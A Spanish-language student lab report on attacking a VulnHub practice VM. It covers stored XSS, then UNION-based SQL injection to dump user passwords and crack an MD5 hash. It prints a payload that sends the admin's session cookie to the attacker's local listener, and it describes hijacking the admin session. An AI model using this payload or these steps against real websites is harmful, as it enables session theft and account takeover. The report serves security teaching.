Logo Studenta

ATAQUE CROSS SITE SCRIPTING_miguel-wilberth

¡Este material tiene más páginas!

Vista previa del material en texto

INSTITUTO TECNOLÓGICO SUPERIOR 
PROGRESO 
Organismo Público Descentralizado del Gobierno del Estado 
FORMATO DE PRÁCTICA 
2023B 
 
 
Carrera Semestre Clave de la asignatura Nombre de la materia 
Ingeniería en Sistemas 
Computacionales. 
7 CID-2101 Seguridad en la Web 
 
Practica 
No. 
Laboratorio de Nombre de la 
practica 
4 Centro de cómputo Cross site scripting(xss) 
 
Objetivo 
Entrar al usuario de administrador con un ATAQUE CROSS SITE SCRIPTING (xss) 
 
Nombre del alumno Matrícula 
Miguel angel de la cruz centeno. 04200007 
Wilberth Rafael Madera poot 04200014 
 
Estado del arte 
 
ATAQUE CROSS SITE SCRIPTING (xss) 
 
 
 
Descripción 
1. Con base a la explicación del Documento hacer el ATAQUE CROSS SITE SCRIPTING (xss) dado por el docente. 
 
Desarrollo 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
ATAQUE CROSS SITE SCRIPTING (xss) 
 
En esta actividad llevaremos a cabo un ataque Cross site scripting (xss) en el que un actor 
malintencionado logra inyectar un script malicioso en páginas o aplicaciones web. Para llevar a 
cabo este ejercicio, se utilizará la máquina virtua-vl “PENTESTER LAB: XSS AND MYSQL FILE” 
de vulnhub y el navegador FireFox. 
 
Paso 1. 
Comenzamos el ataque tratando de inyectar un script básico como <script>alert(‘xss’)</script> , 
en cada una de las entradas del formulario, con el objetivo de encontrar la entrada que permite 
ejecutarlo. La figura 2 muestra que en la entrada “Text”, se encuentra la vulnerabilidad. 
 
 
Figura 1: Formulario de la página. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Paso 2. 
 
Al realizar el submit, el script se ejecutará y mostrará el mensaje “xss”, tal como se 
representa en la figura 2. A través de este Script básico, podemos confirmar de manera 
concluyente que esta aplicación web es vulnerable. 
 
 
Figura 2: inyección de un script la entrada “Text” del formulario. 
 
Paso 3. 
 
La máquina virtual alberga un script que actúa como un usuario administrador que inicia 
una sesión periódica. Como atacantes, nuestro objetivo es obtener la cookie de la sesión de 
este usuario mediante Cross site scripting. Para lograrlo, emplearemos el siguiente script 
en 
la entrada “Text”, tal como se representa en la figura 3. Se debe sustituir la url por tu IP 
privada. 
 
<script>document.write('<img src="http:192.168.10.14:8585'+document.cookie+' 
"/>');</script> 
 
 
Figura 3: inyección de un script para obtener cookies en la entrada “Text” del 
formulario. 
 
Al realizar el submit, se ejecutará el primer blog que subimos al inyectar el script básico 
que mostraba un alert de JS, tal como se representa en la figura 4. En la figura 5, se muestra 
un icono de archivo desconocido debido a la subida de un blog de naturaleza desconocida. 
 
Figura 4: ejecución de un alert a causa del primer script básico inyectado anteriormente. 
 
 
Figura 5: Comentario de naturaleza desconocido al inyectar un script de cross site scripting. 
 
Paso 4. 
 
Usando python3, iniciamos un servidor http local en el puerto 8585 con el propósito de 
escuchar las solicitudes al mismo y, por lo tanto, recibir las cookies que se transmiten al 
servidor a través del protocolo http en el puerto especifico, tal como se representa en la 
figura 6. 
 
 
Figura 6: ejecutando el comando http.server para iniciar un servidor http. 
 
 
La figura 7 muestra como nuestro servidor local recibe la cookie de sesión del usuario 
administrador. 
 
Figura 7: servidor http local recibiendo la cookie de sesión del usuario administrador. 
 
Paso 5. 
 
En el formulario “Login” mostrado en la figura 8, procederemos a realizar una inspección 
para ubicar la opción “Storage” en el menú de la herramienta “inspector” del navegador. En 
la sección “cookies” cambiamos el campo “Value” por la cookie de la sesión que 
robaremos, tal como se representa en la figura 9. 
 
 
Figura 8: formulario login para iniciar sesión como administrador. 
 
 
Figura 9: sección de cookies del inspector en el navegador Firefox en la columna Value. 
 
 
Por último, accedemos a la ruta de /admin, tal como se muestra en la figura 10. Como se 
muestra en la figura 10, se representa el formulario de “administrador de mi blog” al cual el 
navegador nos redirigirá debido a que habíamos obtenido una cookie de sesión del 
administrador. 
 
 
Figura 10: ruta de administrador. 
 
 
 
Figura 10: Formulario de administración del Blog. 
 
 
 
Inyeección SQL en Mysql 
 
En esta actividad, llevaremos a cabo una inyección de SQL, el cual tiene como objetivo 
explotar la vulnerabilidad que permite la inyección de sentencias desde la URL con el fin 
de acceder y capturar información de una base de datos. 
En la figura 12 se representa el formulario que, como actores maliciosos debemos 
inyectarle sql. 
 
 
Figura 11: formulario para atacar. 
 
En la barra de navegación de Firefox, ejecutaremos la sentencia “order by” para determinar 
el número de campos que tiene la tabla actual, tal como se representa en la figura 13. 
 
 
Figura 12: sentencia order by para hallar el número de columnas que tiene una tabla. 
 
Ejecutaremos la sentencia que se ve en la figura 14 para visualizar las tablas que forman 
parte del esquema de la base de datos. Se puede observar que existe varias tablas, pero 
nuestro objetivo es la tabla “users”. 
 
 
 
Figura 13: sentencia UNION para visualizar las tablas del esquema de la base de datos. 
 
Ejecutaremos la sentencia que se muestra en la figura 15 para visualizar los campos de la 
tabla “users”. 
 
 
 
Figura 14: sentencia UNION para visualizar los campos de la tabla “users”. 
Por último, ejecutamos la última sentencia que se muestra en la figura 15 para visualizar 
los nombres de usuario junto con sus contraseñas de la tabla “users”. 
 
 
 
Figura 15: sentencia UNION para visualizar los nombres de usuario junto con sus contraseñas. 
 
Finalmente, convertimos el string en un MD5 hash para saber la contraseña del administrador para 
después iniciar sesión como administrador, como se muestra en la figura 16. 
 
 
 
Figura 16: iniciando sesión como administrador. 
 
Conclusiones personales 
Miguel Angel: En esta práctica se aprendió a como hacer un ataque de CROSS SITE SCRIPTING (xss), buscado una 
invulnerabilidad en la página analizando el formulario y probando cada uno de los campos hasta buscar una 
vulnerabilidad después de buscarlo se hace una inyección de un script en la entrada “Text” del formulario desde ahí 
se desarrolla el ataque buscando los cookies para que nos de la contraseña después al ultimo paso convertimos el 
string que nos da y lo convertimos en un MD5 hash desde ahí tenemos la contraseña del administrador. 
Wilberth Madera: En esta práctica pudimos observar y poner en practica de como hacer un ataque de Cross site 
scripting donde pudimos buscar una vulnerabilidad en la página donde nosotros pudimos analizar en la pagina del 
formulario y poder comprobar cada uno de los campos hasta que busquemos una vulnerabilidad una ves que 
pudimos buscarlo le hacemos un ataque inyección de un script en la entrada de los campos que tiene para poder 
agregar información una vez que terminamos con el formulario pasamos a hacerle una inyección SQL para poder 
obtener las cookies para poder hacer que nos de la contraseña una vez que tengamos esto nos dará la contraseña 
en los campos de texto que están para luego pasarlo para poder desencriptar y así tener la contraseña. 
 
Criterios de evaluación 
 Excelente Regular Mal 
Funcionalidad Se entregó funcionando la 
práctica sin errores 
Se entregó parcialmente 
funcionando la práctica 
Se entregó sin funcionar 
Tiempo y forma Se entregó en tiempo y con 
el formato adecuado 
Se entregó en tiempo o con 
el formato adecuado 
No se entregó 
Contenido Tiene todos los apartados 
correctamente escritos 
Casi todos los apartados 
están correctamente 
escritos 
No tiene todos los 
apartados correctamente 
escritos 
Fotografías o vídeo 
(evidencia) 
Muestra elfuncionamiento 
completo de la práctica 
desde el inicio, desarrollo y 
final en su reporte 
Muestra parcialmente el 
funcionamiento de la 
práctica en su reporte 
No hay vídeo o no muestra 
el funcionamiento de la 
práctica en su reporte 
Conclusiones Tiene conclusiones 
personales de cada 
integrante del equipo de lo 
que hizo y la conclusión 
grupal es la misma de todo 
el grupo 
Tiene conclusiones 
personales de cada 
integrante del equipo de lo 
que hizo o la conclusión 
grupal es la misma de todo 
el grupo 
No tiene conclusiones 
personales de cada 
integrante del equipo de lo 
que hizo ni la conclusión 
grupal es la misma de todo 
el grupo 
Ortografía No tiene ninguna falta 
ortográfica 
Tiene algunas faltas 
ortográfica, cada una se le 
descuenta 1 punto 
Todo el documento esta 
lleno de errores 
ortográficos.

Más contenidos de este tema